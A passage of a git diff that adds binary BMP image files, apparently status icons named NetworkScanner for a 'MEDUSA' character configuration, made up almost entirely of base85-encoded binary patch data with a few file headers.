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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1bed73c6d2b76ba5d3f004f52f6c7a87e721f359 GIT binary patch literal 18462 zcmeI22UrwYw)lN-_w7zJFa~nYG&D3B8k*c>keop>0*Z(zu@gB-6igsU&WMuCq9`gk zC^<(HNT*rSTUlvx6Hev)kL7U&j4Ktn2fmivv}2o!4htFVD4HoNc`{*K%d9 z_3C_E>f8rOn{7>Rc;X z56}P#;IR1$xs$++F3)ymEe_sYUwZomxS!9uy|p&iRXE#}Fb6=})8>Ks?dfn1OWKaC z_hwDMy!5IfYWQ)|YG2mU>+7@aX|t3Dt!Z;WT0noK&9tV0Q_EeM1NReNRYuP=r>%8o zfm3jU4?^x3pd9WVfPQJVF>bEE`U_(E^I0Jd>B@vV5AF{DcXb{F4J?;uT2p5`vK9ub*Ow;0ieD)=+1}pTSbn?q zzI%DRerfRbVo&M(D|oyD=#ActyzmoZOgxEKvZ|UpuNK@^5;d}rk{PW_dEb0>qCVx# zljPAS$>a4Gftz1d#$dUGk19H4SJYNDwvj?&#i`jJUJG37PM>YPI@^{$-6CB@-b9BLP`GUP*0kF)c0;b#@^&Hl!LmQiDTCi%VFC zSL`UCq#;tqL{I^U0iU!gqoDW!4tp)L{?|P~;WkC@?M3u$ryL1}XegItYG zP??cm>_;ZiAJ~MyW0Ba;qRhk(Hv?@rQ6N|65Cp`49(0VAu%g61Hb3Xn{~P>D4y|`@ z-{quSi^GN7E-o+6DHhwuZXqbI$|68^r;r8*N|RGqodc!7fKXu;P-Ng2{FYIXPUNia zNe^{rsh5EeH%X8=mQwd2N=2WH=G(h7e%nEk`RX@D07t_spPy)L|}lE|eOF5SCRCgf#HCkpLQV7$HH+iP|rw z$gPb$$nI_Hw!Xgp#kjwN^-5Ht45wJ#@Mul*+8MWAu>%qsEJ8ZmqF^i{zh#g-#G$~5 zK>ffZPQ@!ri{jXGNS$3K$SN?%B7oo?LvRicwhF|X`Cw>-xb_@YU=T&^UoO@El)*W*;i)WhSpZrY_*MW_?TV@y8C)N zl(eqIZj3p^E_;Ye@EZo?w@d=xF$jD^Cr>ZtZ|rR?Whix60B`0SY#Bgwjlzc);Y0F> z4k01df#>v3iR|TaSF!WbahE(K!2b;$|F?ADa^zp=<*9k44lrq<&YV9F)edjBnly+}yC8X493)rH*XBGGhz0kKzju;CyHfgp!KWTBv zoQ#H2Nu|j^wfc)kN z7>L30t^NQYo+2}8a=(}Q?M{Ldlbee7<=PTJyF!bzX69K+<> z#rTD=?b(O;(-G8<>;m60BmT;0FJm5JgC|<}d1|KpVV;KOVF+^8*9=oSx@tZ8y+KAvQQuVI7`7(;~lT5&WKo@4pYT z{})xx#f*Oi>%H>Zh#wgw4)QrESRuY=Fcj1Xu_h4Ad<#}CFpoM8e0DqtZgrv#pt=*Rqg$ZywKE0e_1+X!YXdXZ`^&{92@j*HG=u$#( z4$(Gwg01kLTCO0f zN!Edu68ef1Jm)5#c))EAoortnfVbd@i^}kf+db%=6_tp4iASn zPKHh>J}44wk-rT0OXsHchE^$RelKlz(Dfi(;iva<@kL1!3rfL#zlyD;&W#81z2LhC~k9k|398qJJ9Msk?CtVRW+WBHKk71}Mpg zU^((mA)PoM7*m47T?3$a^8mbEFdQppev&`&m1PxtEx&H8Z>+Da>x-#?Nix)$h_?^H z;nIm#c!Fml4#Z((NswO}AtVo;cYr&?b`U`sgmf`H1H%HyK+uxqXQxtFi^0+qin`)Ial5HF1cOd@ ziNr^j1i8h6*$0d{cs&7e3kys}3D=Lo4AX-KV3MK;jQa`b2YPbkgJwmzs1oA2E2LA2 zxTr!v48qt(%2M@VHZpUOR1?J z@kA^EW+jIu>@cz;$vH8iln_yBsdq|ER96RMe$31#AS4eTn&)g6=;{;%Jm-tgur%=0 zLYu0I9<{ghCq~}@WIsnWJcq+08y5+3m=(;%VDS#O3sPf6hkD^Y3luc|9KV8P6xff;y`<)6Pj2}h`tdJ zS`+|?qlyVGk?Dl^)&I;6V%ida@P@b zG8EB1Yv~u{6dFm&Hq~^NW2Kc0UMD|jc+^1ShKSiHzV_R|_JVJ?xRlL>^NoC_HbqQb7& zX<1ofO^)f=JDI!L>D!qp8S99vpO3#95}GWBz=kH>#^bLChvbFDlpR0j=iw3*7JDOz zl#K^Zb}=`k*kvxH76#d z*r83N=@I#tGrL+lx3)fG$nIhVZ?XQ~i!4fgM`J7E0KLF>Op*tAwKy=Lb|H9Tc5?O; zPlt1C-_s$ur38c(Ie4Ynxg`;TvM3P+3p=mM*4G_#>ssQP{sAem*J`6L-}m*s6zCrB z?;3+6U5~!J@}hHbe+2uyIPUaf)$riqh<7WZ6p-;1iLU z`GgRVL9`5%r$tF065#st5m^?&58LBUca31IHP<&b)IHzc`Xt16vHo^20Nl-ujq8b5 zBwBKk_r_Zg!UM0{y9FQF&wB6xJ0mqOI}JY%qc9JXC>Mhe6E%YBM;1Cdey20I z*pwU%3GDf}{Mgt`4G|?njEO$lP#3Ln>FNyN!7#=H3&F6C}AqtnNhduV=UPfj*B$7*pgF%e$AV2Lv zKDxsQ+JpS;tTHlEhCCeTz2DPG$YF6oNtPNG=BlQJl@Ffu4nFN0x|&&RAg^bkX_;5? z$jar+kKfU=(h3Q1pxNj|U?m3;G$5x%NlNLPcyJ+q1`|US0JX~mIMiFi<hh|mt@~g9beM}rmYq$S7a@8rhd8~FKM&>3Kv|Q}^+_o69hBM9 z80vM}P+84f8g2CB4~)8|&YkmHO>eiGr=jL4sBvPvFl+4)dg0;3;#A*C*D5JD@b@M(z#mz6ELPyV&R}nk5 zdTV$ie|$T)XW?S&bbQZp+BlRuHj~{sa^<9_5k}cUSWNqe9~sgsY5^aNJGIq14ZR#& z;Nh2HV-sg%6&Dc~c{WruvVLc5t72p$ukC$8^YrZsmn5E)z@L#XC?=F%>`w~p zy>+WpQCWsxQ1#GZZUbxg?q#THa;s^4qiYdL%(=OLAG?UC=D|Y@IVGw0Z%k*#cHX(4 zb|KDya7r@tEc#-sZdFxrM)X8!RtJvY!N?>eC?pRqdHJ#lSoI5Ba0qsd$5agcJOig8 zsJC}Og;VnB{o0+DA6d&X3w1>lr&iXQhsGrt5EZ$lJ56@8Qq&g}mH)Vxl}}KOfr0B~ z*Tq*2&#O`!E#(wEOnGZ+44>8OH9XV{ut$cTyZG>SchA_($Y>{eIw2k&3`#<^ZF;3| z4IZq+5M=4-Nlz!p#U-brgqeDOxB1Ddw8(M;DXw^5)YCiqO)pLE=3>v8Y8Pfbe^gid zdL*5nM~Dw8w{JfuDJbSw&0CsZz;a6D<(E%E(D>w(z8LmaJ`6%hA6c`KQuRcY->z#d<&e^-d=RaAV$Q9&(_w^<2J;2Gztt2ZiHny5E4drH}+p2KyJz*&jf|o3-P#+$) zhz}4m)#B@4NS}tXiYt5=83cqy)b{UZ(=xP+&n(QnTThC=LQBWV&o9ToAadr6%M z#wum+tnh9-VRADu?5uKfo&Dt^hqhB9X+*T2kd^0iqW*q{*9f}H% z*B4RT0Pi_I4Py#=VL{2h15EtF+D!B;k6$h3idNo^(W!c8LU=KH-~C9#$|fo#sx2jn7<_-`?M7r> zbJE!C4ESwCN6T$z87g}@dJ}Q#@=E8oP-@3OhyXjUpa^!~0oHRqq#c4C=({BqGAzip zH$2YX zX5uuI96``Ie2`CA6#L^|hCBBj?ifZfX=!fJNKQ52EOBZZ8d=+J8D4nSGOWrcd-p~q z+!cTd(Il9s{urxRaK|s&ce9OdU+&d_)^u{qR zW_Er-We#rX@BVTy`yzS9`S_5tzPjdXe?n7S`PJyu$T|c<^J&ZUy(ev09_jXm7T9Jo z>_^tsl@%QU`AbRHoBEaqm$yb%q2a|96AeQfO@rwPFgO34x?5g}(ecR8A$i!u`Ghn$ zxfD2=Ig+9sJDc5mhcZF<0a=22-)!Q_?^(;r@-WZ~Nl0l?9pXBD@?`171oRQU^q3Ta zlb0N$;Jt$MC)Gs=q^uamoQGG9jhQtu)_iclbz=T5cxwhWcZ*P0|BCj@h>1MbJASlDo#IZ1qeu1kqImH^zoX7v~n>79Z^)4sJdL1WM(=K~6zNAq57M5EYxQpu#aFLla32MQ*Wk_U^+IQxjXz!1DH+ z4XCbVvaWI3=akEiP)(co1t~QRV_Sptp&vuy_3^?6Vk<{OjziInQ7S=Xqo6~xi~n{Ct?D!15CAz2?Y>th(ztO!DJTv(K^hXh(KAT~KJy;xDr zmW@$_i3aFlWuzD2;*k@PQ0L;q?4#nuimEtb^h?tV>Z%`PCSFYrjW4;D`?{kG1Ux_l z1`n-3{fnEos{5X`jVmLh3$MZx(@y#r!=M5@A*dr|(lQF}KOS%HpQT(4f_VmlMn=Y- z+Q+y-8w5_piZf36LcC8r-n{k@ttz*N%z$2|~q-yD*YT%}B_;1PbhgS^L7Op+YWo;GpmotOrz3Yf(JBCu^@0~%O? zK?hf$kuB&^!}#q7qiNTQ6nRCaCqDT(>JBS;riv#<=t!wFcD=iCtEYQzeQ52Yj&*pC z@s2EDOpL5SJ@4i`%-qf&J9W*IXo8Se?+UOz18t}RNB!dV-cD#~jh z`K1v&lI-*XvI25qG)N~I-Au3GP&1d%fT%Z{+XH}X8ID*Oku1Q}p>?RSf3_h1_0y(t ztcYyb8651KhA)cm3{CH6YeC*{m(oPkZO{YiCJ zR3?#hD=s0})-A8#=J+<$zd%M@f^8cH6YmDpJGcJ0aUwUTqqhEC5FrxH!9V_H6h_^( zkKDydslF1Ogkt5s{jlxk&7q2#f%b{zp|$Oi4QO}`p5g%LFd2Gm3wqf-kQ{uz`&o6{ z{X8pamE-cdF*dFjJv>WeNI4|GmU}hb&+A9K+oy-SUe%U1S6}a`D>-LsbvY1x?(xfu z2qM}!guA=;J}m~Px}H|N8|xozZRl%mdR&s1g+E&sO-gWfkF`5#Dky*2(Dc>gqE}C9 z{2b3d?HC+h*(P^6==JTs`Hl9`#k!`68|6J&8Lf97P85{f<3Gewnwby#ZWkyx+Qmvf z32km}IT@H^CFSZG-;|a0=Vo`@elYy9d!}Q2x##^_-`qNw(Oxu3wtb=#OOf(yRn`pl@%vU z{cqhIF2B)JS>0b*(_2y1Q&!qlnA4e)(UyI^?cuYx<<(CGkFW)K`v2ms8rh1!Wd+sX zqm7=ViY`X;al_#4dt+JGT5~hoi}PQXm2}@K@3~R-y0q|hVRlDpVQ+X~UeVPYilz(1 z7(;1n(jjFkvP!JI{-rGw#yEr@DSAUCS=M?Phe1(Kh@%MJuHAp;rW}u;F zb$Nl(rn{jrFD#<^V%*K7_@3sLhh-IN!ZKw!g_N`5rwO5cnWZKD`C0AxSsnS=ZTZ>l zd08C*w5+V}<*WCpSM!7qbDVQJxiI%ZA?3oI{1<-xSU=J?d{kUn4k=nxdiQ0=OnLc0 zer9KWMo0d2aG$oq>`u^|g}I%%SsnfkxS6-`W@B?>&BNH*N>QsgHnAW)^pe-P2ur8Y z?w$`Sx1q`2hG0jha5uNc>dfXlIUf2ZDgI~Qjll1FD5>r7Q-Z$LHGf=QSV+P7L~WEz zxEK7o1*Czl9wP~Z>uHT(L;}A2tj>I3L*DDEn&IcI?;qB`aF|`_LywzJ*>ZEowHQ0Y< zyl=;-`pP^0+UCipe9{QP${Zqm2k2b24WHeu+S*u8KcC`#JhZN5>E4rx+GkUbpHDq$ zdi%I(sG$6|m$RoVtAL}X>8qCZ9aXCO5H32*1;+v0dKkj_^ za_C9Z=!=fYy5`}Gtefrz4)&S`G7JJC-u?}b>TOhwWLfz$qR;1rMqfThc>SVjb!lmO zY`E{`-K?k(6EP)%ode$1!BAMCD*ZywiwCoBCzcl$8ty&3;OSo+mzabjh|+U-A9H{4 z;Hjsz3z{Br(!@qf0AsCd6CH6OA?8X{Na7hcA8P|kEJ9YERoKhQ=~2a9ip{%c-Q5(F z@^7+IF5TSNYy{46Vm3cB z8;6gSVB{ZiBoa8s~H_bYl>2_Uk;DzeO_C0HNGk> zwKOHI;9{!1x;~nPKl@TT`0WWW5PTMFc>K)Q>6FV+s{lt&d#sU>gqj&z>y(MZrO3Fu zWtIJ1y*ty;Z-WADzsdTGt^tp;Q{$7bTH0PbdZmDynw^#A6<{r+fwyycd8axjCDlpC0>dqI+V=Qh zcmFT$3l71L1^^2A=L>7#cH1AHaQ?RCZ`Az5tZ=XG+Jk(elKk#`cen18Up%S{boavY zO3QHwiyh`n^g4SZHu?%KFpYpOJ0Bh5=!QJNtiUa%j>LqY#dkJ+7~DITQ|gpPV>y86?dXzV;4Mx|kMYB+iO7r(!`rwI zX{X)Cia-4SKcDp@3LJ=_97hV%m&B^`qf0XKz~N_oK>eNcUyb#nos)0IC75`Rim9wD z!TZ9mnZ7bBc`R0!+sJNbb+iAl?&^$xqvC)3`fudST`2$Y>#olDH!A+$^6UQtU;--V literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..35cc8c597be51b9109f5ca07241184c7ef6f568d GIT binary patch literal 18462 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 